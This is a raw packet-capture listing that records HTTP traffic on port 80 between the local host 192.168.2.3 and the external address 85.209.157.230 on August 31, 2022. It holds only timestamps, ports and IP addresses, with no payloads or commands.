Aug 31, 2022 08:34:30.966573000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.966574907 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.966603041 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.966932058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.966953993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.966974020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967015028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967019081 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.967031002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967056990 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.967128992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967152119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967216969 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.967228889 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967250109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967264891 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967289925 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.967468023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967490911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967566967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967588902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967602968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967617035 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.967648029 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.967684984 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967756033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967777014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967797041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967804909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.967812061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.967852116 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.968089104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968126059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968178988 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.968193054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968214989 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968230009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968255997 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.968462944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968497038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968548059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968574047 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968579054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.968597889 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.968621969 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.969167948 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969189882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969211102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969229937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969244003 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969258070 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.969283104 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.969362974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969403028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969424009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969444036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969458103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969470024 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.969516993 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.969752073 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969774008 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969819069 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.969841957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969863892 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969877958 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.969916105 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.970196009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.970242023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.970282078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.970324993 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.970366955 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.970382929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.970412016 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.971159935 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971180916 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971216917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971237898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971251965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971272945 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.971292019 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.971375942 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971405029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971425056 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971455097 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.971467018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971481085 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971507072 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.971882105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971904039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971924067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.971970081 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.972012997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972026110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972058058 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.972151995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972172976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972192049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972210884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972224951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972232103 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.972261906 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.972403049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972441912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972462893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972501993 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.972506046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972521067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972543001 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.972806931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972827911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972846985 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972891092 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.972894907 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972908974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.972934008 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.973206997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973227024 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973247051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973273993 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.973278999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973309040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973330975 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.973442078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973463058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973500013 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.973525047 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973562956 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973577023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973614931 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.973798037 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.973836899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973901033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973921061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973942041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973942995 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.973956108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.973994970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.974097013 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974184990 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974205971 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974225044 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974239111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974256992 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.974276066 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.974459887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974484921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974507093 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974526882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974540949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974553108 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.974584103 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.974678993 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974699974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974776983 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974796057 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974809885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.974816084 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.974841118 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.975081921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.975102901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.975122929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:30.975142956 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:30.988064051 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.079982042 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080070019 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080096006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080117941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080162048 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080183029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080185890 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.080205917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080219030 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.080239058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080264091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080270052 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.080280066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080317020 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.080446959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080473900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080519915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080574989 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080583096 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.080593109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080622911 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.080642939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080718994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080743074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080765963 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080781937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.080791950 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.080821037 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.082643986 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.082674980 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.082755089 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.082875967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.083010912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.083076000 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.083091974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.083287001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.083538055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.083626986 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.083679914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.083844900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.083921909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.083957911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084054947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084165096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084331989 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084358931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084374905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084393978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084395885 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.084415913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084431887 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.084438086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084459066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084469080 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.084475040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084497929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084521055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084531069 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.084537029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084558010 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084566116 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.084580898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084604025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084623098 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.084625959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084641933 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084662914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084677935 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.084685087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084708929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084727049 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.084745884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084762096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084790945 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.084865093 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084930897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084953070 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084975958 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.084991932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085000038 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.085031033 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.085047960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085071087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085108042 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085130930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085150957 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.085151911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085179090 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.085413933 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085441113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085463047 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085485935 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085498095 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.085501909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085547924 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.085736036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085767031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085788965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085810900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085815907 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.085828066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.085870981 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.086101055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086124897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086163044 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086210966 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.086242914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086258888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086280107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086287022 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.086302042 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086323977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086342096 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.086347103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086361885 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086400986 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.086853027 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086879015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086900949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086924076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086939096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.086955070 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.086985111 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.086991072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087014914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087052107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087064981 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.087122917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087136984 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087188005 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.087378025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087402105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087436914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087459087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087472916 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087493896 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.087522030 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.087558985 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087580919 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087604046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087626934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087640047 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087649107 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.087682962 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.087810040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087831974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087856054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087876081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087878942 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.087899923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087915897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.087945938 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.088253021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088291883 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088315964 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.088320971 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088351965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088375092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088390112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088396072 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.088412046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088430882 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.088435888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088479996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088502884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088525057 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.088541031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088550091 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.088556051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088929892 CEST	80	49763	85.209.157.230	192.168.2.3
